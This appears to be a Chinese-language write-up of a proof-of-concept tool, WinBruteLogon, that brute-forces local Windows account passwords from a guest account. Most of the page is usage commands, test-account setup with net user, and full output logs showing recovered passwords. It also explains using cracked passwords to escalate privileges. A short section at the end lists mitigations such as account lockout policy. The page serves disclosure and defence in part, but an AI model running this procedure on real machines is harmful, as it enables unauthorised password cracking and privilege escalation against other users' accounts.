項目地址:https://www.php.cn/link/e2b59155b6c9e8753f967f42ea5a4d3e
目標:適用于 windows XP 到最新的 Windows 10 版本(1909)
用法詞表文件
WinBruteLogon.exe -u <username> -w <wordlist_file>
標準輸入詞匯表
type <wordlist_file> | WinBruteLogon.exe -u <username> -
本 PoC 揭示了 microsoft Windows 身份驗證機制中的一個嚴重弱點,而不僅僅是一個漏洞。最關鍵的問題是這種操作不需要任何權限。實際上,通過訪客賬戶(Microsoft Windows 上權限最低的賬戶),您可以破解任何本地用戶的密碼。
要找出哪些用戶存在,可以使用命令 net user。
這個 PoC 利用多線程技術來加速破解過程,并支持 32 位和 64 位系統。
PoC 測試場景(使用訪客賬戶)在 Windows 10 上測試:
安裝并配置最新的 Windows 10 虛擬機或物理機。在我的測試中,Windows 版本為:1909 (OS Build 18363.778)。
以管理員身份登錄并創建兩個不同的賬戶:一個管理員和一個普通用戶,均為本地用戶。
/! 重要提示:我在演示中使用了 Guest 賬戶,但這個 PoC 不限于 Guest 賬戶,適用于任何賬戶/組(訪客用戶/普通用戶/管理員用戶等)。
創建一個新的管理員用戶
net user darkcodersc /add net user darkcodersc trousers net localgroup administrators darkcodersc /add
創建普通用戶
net user HackMe /add net user HackMe ozlq6qwm
創建一個新的訪客賬戶
net user GuestUser /add net localgroup users GuestUser /delete net localgroup guests GuestUser /add
開始攻擊:
從管理員賬戶注銷或重新啟動計算機,并以訪客賬戶登錄。
將 PoC 可執行文件放置在訪客用戶可以訪問的任何位置。
用法:WinBruteLogon.exe -v -u
-v 為可選參數,用于啟用詳細模式。
默認情況下,域名使用 %USERDOMaiN% 環境變量指定的值。您可以使用 -d 選項指定自定義名稱。
破解第一個用戶(darkcodersc 管理員):
提示(訪客)> WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
等待幾秒鐘以查看以下結果:
[ .. ] Load 10k-most-common.txt file in memory... [DONE] 10002 passwords successfully loaded. [INFO] 2 cores are available [ .. ] Create 2 threads... [INFO] New "TWorker" Thread created with id=2260, handle=364 [INFO] New "TWorker" Thread created with id=3712, handle=532 [DONE] Done. [ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers] [ .. ] Finalize and close worker threads... [INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated. [INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated. [DONE] Done. [INFO] Ellapsed Time : 00:00:06
破解第二個用戶(HackMe 普通用戶):
提示(訪客)> WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
等待幾秒鐘以查看以下結果:
[ .. ] Load 10k-most-common.txt file in memory... [DONE] 10002 passwords successfully loaded. [INFO] 2 cores are available [ .. ] Create 2 threads... [INFO] New "TWorker" Thread created with id=5748, handle=336 [INFO] New "TWorker" Thread created with id=4948, handle=140 [DONE] Done. [ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm] [ .. ] Finalize and close worker threads... [INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated. [INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated. [DONE] Done. [INFO] Ellapsed Time : 00:00:06
如果您獲得了對低權限用戶的訪問權限,則可以破解更高權限用戶的密碼并提升您的權限。
修復:
禁用來賓賬戶(如果存在)。實施應用程序白名單。按照指南創建并保持密碼強度高,適用于所有用戶。實施安全鎖定策略(默認不存在)。
打開 secpol.msc,然后轉到 Account Policies > Account Lockout Policy,編輯 Account lockout threshold 值,使用 1 到 999 之間的所需值。該值表示鎖定之前可能嘗試的次數。
/! 鎖定策略不適用于管理員賬戶。此時,對管理員賬戶(如果啟用)的最佳保護是設置一個非常復雜的密碼。